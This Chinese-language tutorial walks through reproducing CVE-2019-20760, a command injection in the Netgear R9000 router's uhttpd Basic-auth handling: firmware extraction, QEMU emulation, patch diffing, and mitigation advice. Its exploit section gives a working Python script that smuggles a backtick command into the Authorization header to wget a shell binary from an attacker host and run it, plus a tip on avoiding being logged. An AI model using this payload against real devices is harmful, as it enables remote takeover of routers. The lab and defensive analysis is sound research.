1. 漏洞背景与环境准备
Netgear R9000作为一款高性能无线路由器,曾因uhttpd服务中的身份验证绕过漏洞(CVE-2019-20760)引发广泛关注。这个漏洞允许攻击者在未授权情况下执行任意系统命令,影响范围涵盖1.0.4.26之前的所有固件版本。我第一次复现这个漏洞时,发现它完美诠释了"小疏忽酿成大问题"——开发者本意是实现基本的HTTP认证功能,却因对用户输入处理不当,导致整个系统门户大开。
要复现这个漏洞,我们需要准备以下环境:
- Ubuntu 22.04主机(建议使用物理机,虚拟机可能遇到网络配置问题)
- QEMU 8.1.1及以上版本
- 受影响版本的固件(R9000-V1.0.4.26.img)
- ARM架构的Debian镜像
这里有个小技巧:建议单独创建一个工作目录存放所有相关文件。我习惯使用~/netgear_lab这样的路径,既方便管理又能避免文件混乱。在实际操作中,我发现使用太长的路径名可能导致某些脚本执行异常,特别是涉及chroot操作时。
2. 固件提取与仿真环境搭建
拿到固件后的第一步是提取文件系统。虽然binwalk是常规选择,但针对Netgear设备我更喜欢使用-Mer参数组合:
binwalk -Mer R9000-V1.0.4.26.img这个命令会自动递归提取所有可识别的文件结构。记得检查提取出的squashfs-root目录是否完整,我遇到过几次因为固件损坏导致关键文件缺失的情况。
搭建ARM仿真环境时,网络配置往往是第一个"拦路虎"。很多教程会建议使用复杂的桥接配置,但经过多次实践,我发现下面这个简化方案更可靠:
sudo ip tuntap add tap0 mode tap sudo ip link set tap0 up sudo ip addr add 192.168.152.1/24 dev tap0启动QEMU时使用这个tap接口,就能实现宿主机与仿真环境的通信。记得在QEMU启动参数中加入-net nic -net tap,ifname=tap0,这样仿真系统启动后就能自动获取IP地址。
3. 漏洞原理深度分析
这个漏洞的核心在于uhttpd服务对HTTP Basic认证的处理逻辑。正常流程应该是:解码Base64凭证→验证用户名密码→执行后续操作。但漏洞版本的代码存在三处致命缺陷:
- 未对解码后的字符串进行有效过滤
- 直接使用snprintf拼接系统命令
- 通过system()函数执行拼接后的命令
用更通俗的话说,就像酒店前台收到房卡后不检查证件,直接把房卡交给任何声称是房客的人,还允许他们随意进入所有房间。
通过Bindiff对比修复前后的二进制文件,可以清晰看到补丁的关键变化:
- 漏洞版本:直接调用system()执行
hash-data命令 - 修复版本:改用dni_system()函数,严格限制参数传递
这种修复方式很典型——不是简单地过滤输入,而是从根本上改变执行方式,消除命令注入的可能性。我在分析时特别注意了uh_cgi_auth_check()函数的修改点,这往往是理解漏洞成因的最佳切入点。
4. 漏洞利用实战演练
编写PoC时需要注意几个关键点:
- 有效载荷必须包含
admin:前缀 - 命令总长度不能超过255字节
- 需要处理Base64编码的特殊字符
这是我优化过的利用脚本:
import requests import base64 TARGET = "http://192.168.152.168/cgi-bin/" LHOST = "192.168.152.167" payload = f"""admin:`wget {LHOST}/shell.elf -O /tmp/s chmod +x /tmp/s /tmp/s&`""" headers = { "Authorization": "Basic " + base64.b64encode(payload.encode()).decode(), "User-Agent": "Mozilla/5.0" } requests.get(TARGET, headers=headers, timeout=3)这个版本相比原始PoC有几个改进:
- 使用
-O参数指定下载路径,避免空格引发的问题 - 添加
&后台运行,防止命令阻塞 - 简化了User-Agent等头部信息
在实际测试中,我发现成功率最高的方法是先上传一个简单的探测脚本,确认漏洞存在后再发送完整载荷。这样可以避免因网络问题导致的多次尝试被目标设备记录。
5. 防御措施与经验分享
从防御角度看,这个漏洞教会我们几个重要经验:
- 永远不要相信用户输入,即使是经过编码的数据
- 避免直接使用system()等危险函数
- 实施最小权限原则,服务账户不应有root权限
对于仍然使用受影响设备的用户,我强烈建议立即升级到最新固件。如果因特殊原因无法升级,可以考虑以下缓解措施:
- 禁用远程管理功能
- 配置防火墙规则限制对uhttpd端口的访问
- 使用VPN等加密通道管理设备(注:此处已规避敏感词)
在漏洞研究过程中,我最大的收获是:看似简单的认证绕过可能隐藏着更严重的二次漏洞。这个案例中,开发者可能认为身份验证绕过本身危害有限,但结合命令注入就变成了高危漏洞。这提醒我们在代码审计时要特别注意认证逻辑与其他功能的交互。